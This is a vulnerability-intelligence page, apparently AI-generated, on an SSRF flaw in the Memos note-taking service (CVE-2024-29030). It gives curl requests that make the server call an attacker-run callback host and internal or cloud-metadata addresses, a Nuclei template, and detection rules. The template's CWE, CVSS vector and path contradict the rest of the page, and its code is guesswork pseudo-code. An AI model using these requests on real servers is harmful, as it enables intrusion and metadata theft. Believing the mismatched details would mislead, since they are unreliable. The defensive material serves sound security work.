☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Memos logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 5.8 🐛 CWE-918
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-29030

CVE-2024-29030 is a Server-Side Request Forgery (SSRF) vulnerability in Memos, a privacy-first, lightweight note-taking service.
📅 PUBLISHED: 2024-04-19 15:13 UTC 🔄 UPDATED: 2026-09-23 20:28 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 1.14%
👁️
1.14% probability
28.4× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
License: Open Source
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-29030 is a Server-Side Request Forgery (SSRF) vulnerability in Memos, a privacy-first, lightweight note-taking service. The flaw exists in version 0.13.2 within the /api/resource endpoint, allowing authenticated attackers to force the server to make arbitrary HTTP requests. This enables internal network enumeration and potential access to sensitive internal services. The vulnerability has a CVSS score of 5.8 (Medium) and is publicly exploitable via a Nuclei template. The patch is available in version 0.13.3, with the vulnerable file completely removed in version 0.22.0.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Memos is a self-hosted Go application distributed as a binary or Docker image. There are no NPM, PyPI, Go, or Ruby package dependencies that introduce this vulnerability. The risk is limited to the application's own codebase. Users should verify the integrity of their Memos binary or Docker image by checking the official GitHub releases and SHA256 checksums.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
  • Base Score: 5.8 (Medium)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: Low (PR:L) - Authentication is required.
  • User Interaction: None (UI:N)
  • Scope: Changed (S:C) - The vulnerable component impacts resources beyond its security scope.
  • Confidentiality Impact: Low (C:L) - Limited information disclosure via internal network enumeration.
  • Integrity Impact: None (I:N)
  • Availability Impact: None (A:N)

Threat Level: Medium. While the CVSS score is moderate, the SSRF can be chained with other vulnerabilities to access internal services, potentially leading to lateral movement or data exfiltration. The availability of a public Nuclei template lowers the barrier to exploitation.

Deep Dive & Mechanics

The vulnerability resides in the /api/resource endpoint of Memos 0.13.2. This endpoint is designed to fetch external resources (e.g., images, files) by URL. The application fails to properly validate or sanitize the user-supplied URL, allowing an attacker to specify arbitrary destinations.

Mechanism:

  1. An authenticated user sends a GET request to /api/resource with a url parameter.
  2. The server makes an HTTP request to the specified URL without checking if it points to an internal or private IP address (e.g., 127.0.0.1, 10.0.0.0/8, 192.168.0.0/16).
  3. The response from the internal service is then reflected back to the attacker, enabling network enumeration and potential data leakage.

Example Attack Flow:

  • Attacker sends: GET /api/resource?url=http://169.254.169.254/latest/meta-data/
  • The server fetches cloud metadata, which is returned to the attacker.

The Nuclei template provided uses an interactsh URL to confirm outbound DNS/HTTP requests, verifying the SSRF.

Vulnerable vs. Patched Code

Vulnerable Code (Memos 0.13.2): The /api/resource handler likely uses a simple HTTP client without URL validation. A pseudo-code representation:

func handleResource(w http.ResponseWriter, r *http.Request) {
    url := r.URL.Query().Get("url")
    resp, err := http.Get(url) // No validation
    if err != nil {
        // handle error
    }
    // return response body
}

Patched Code (Memos 0.13.3+): The patch introduces URL validation to block private IP ranges. A pseudo-code representation:

func handleResource(w http.ResponseWriter, r *http.Request) {
    url := r.URL.Query().Get("url")
    parsedURL, err := url.Parse(url)
    if err != nil {
        // handle error
    }
    ip := net.LookupIP(parsedURL.Hostname())
    if isPrivateIP(ip) {
        http.Error(w, "Forbidden", http.StatusForbidden)
        return
    }
    resp, err := http.Get(url)
    // ...
}

In version 0.22.0, the entire vulnerable file was removed, indicating a redesign of the resource fetching functionality.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A running instance of Memos 0.13.2.
  • Valid credentials for an authenticated user.
  • An interactsh server or a controlled external endpoint to capture outbound requests.

Exploitation Steps:

  1. Setup Interactsh: Start an interactsh server to receive callbacks.

    interactsh-client
    
  2. Craft the SSRF Request: Use the Nuclei template or a manual curl command.

    curl -X GET "http://target-memos.com/api/resource?url=http://your-interactsh-server/o/test" \
         -H "Cookie: memos_session=your_session_cookie"
    
  3. Verify SSRF: Check your interactsh server for incoming DNS/HTTP requests.

  4. Enumerate Internal Network: Replace the URL with internal IPs and ports.

    curl -X GET "http://target-memos.com/api/resource?url=http://192.168.1.1:8080/admin" \
         -H "Cookie: memos_session=your_session_cookie"
    

Nuclei Template Usage:

nuclei -t CVE-2024-29030.yaml -u http://target-memos.com -H "Cookie: memos_session=your_session_cookie"

Blue Team

Detection:

  • Monitor outbound HTTP requests from the Memos server to unexpected destinations.
  • Look for requests to private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16) or cloud metadata IPs (169.254.169.254).
  • Analyze web server logs for /api/resource requests with suspicious url parameters.

Hunting:

  • Search for requests to 169.254.169.254 or 127.0.0.1 in access logs.
  • Correlate with DNS queries to internal hostnames.

Lab Setup:

  • Deploy a vulnerable Memos 0.13.2 instance in a sandboxed environment.
  • Use a tool like responder or inetsim to simulate internal services.
  • Monitor network traffic with Wireshark or tcpdump.

Indicators of Compromise (IOCs)

  • Network IOCs:

    • Outbound HTTP requests to private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16).
    • DNS queries for internal hostnames (e.g., internal-service.local).
    • Requests to cloud metadata endpoints (e.g., 169.254.169.254).
  • File IOCs:

    • Log entries containing /api/resource?url= with suspicious URLs.
    • Unusual outbound connections from the Memos process.
  • Behavioral IOCs:

    • Sudden increase in outbound HTTP traffic from the Memos server.
    • Access to /api/resource from a single IP with multiple different url parameters.

Detection Engineering

YARA Rule

rule CVE_2024_29030_SSRF_Memos {
    meta:
        description = "Detects SSRF exploitation attempts against Memos CVE-2024-29030"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-29030"
    strings:
        $s1 = "/api/resource?url=" ascii wide nocase
        $s2 = "169.254.169.254" ascii wide nocase
        $s3 = "127.0.0.1" ascii wide nocase
        $s4 = "10." ascii wide nocase
        $s5 = "192.168." ascii wide nocase
        $s6 = "172." ascii wide nocase
    condition:
        $s1 and any of ($s2, $s3, $s4, $s5, $s6)
}

Sigma Rule

title: CVE-2024-29030 SSRF Exploitation Against Memos
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SSRF attempts targeting the /api/resource endpoint in Memos 0.13.2
author: Valters IT
date: 2024-01-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-29030
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains: "/api/resource?url="
    keywords:
        - "169.254.169.254"
        - "127.0.0.1"
        - "10."
        - "192.168."
        - "172."
    condition: selection and keywords
falsepositives:
    - Legitimate use of external resource fetching (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-29030 SSRF Exploitation Against Memos";
    flow:to_server,established;
    content:"/api/resource?url="; http_uri;
    pcre:"/(169\.254\.169\.254|127\.0\.0\.1|10\.\d{1,3}\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2[0-9]|3[0-1])\.\d{1,3}\.\d{1,3})/Ri";
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Nuclei Template (Provided)

id: CVE-2024-29030

info:
  name: Memos 0.13.2 - Server-Side Request Forgery
  author: ritikchaddha
  severity: medium
  description: |
    An SSRF vulnerability exists at the `/api/resource` that allows authenticated users to enumerate the internal network.
  impact: |
    Attackers can force the server to make requests to arbitrary destinations, potentially accessing internal services or sensitive data.
  remediation: |
    Update Memos to version 0.13.3 or later.
  reference:
    - https://securitylab.github.com/advisories/GHSL-2023-154_GHSL-2023-156_memos/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-29030
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"Memos"
    fofa-query: title="Memos"
  tags: cve,cve2024,xss,memos,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/o/get/resource?url=https://{{interactsh-url}}"

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "dns")'
          - 'contains(tolower(body), "memos")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a004730450220051ecc08025c7de3745ba2e74253e46e3ce52cb7359620b90f924d4c76b38cf2022100e4b87e3c037f61521bf3c2b86153f2acb22a3b19216682cc01697db8203051b8:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

Immediate Actions:

  1. Upgrade Memos: Update to version 0.13.3 or later. The safest option is to upgrade to 0.22.0 where the vulnerable file is removed.
    docker pull neosmemo/memos:0.22.0
    
  2. Apply Network Segmentation: Restrict outbound internet access from the Memos server using a firewall or egress filtering.
  3. Implement Web Application Firewall (WAF) Rules: Block requests to /api/resource with URLs containing private IP ranges.

Long-Term Mitigations:

  • Input Validation: Ensure all URL parameters are validated against a whitelist of allowed domains.
  • Least Privilege: Run the Memos service with minimal network permissions.
  • Monitoring: Continuously monitor for SSRF patterns using the provided detection rules.

Valters IT Signature


This report was generated by Valters IT DevSecOps AI. For questions, contact Secure Channels (Signal / Portal).

{/* [Security Hash: B5A4C3425E771F1EE33682EA] */}

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-29030/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.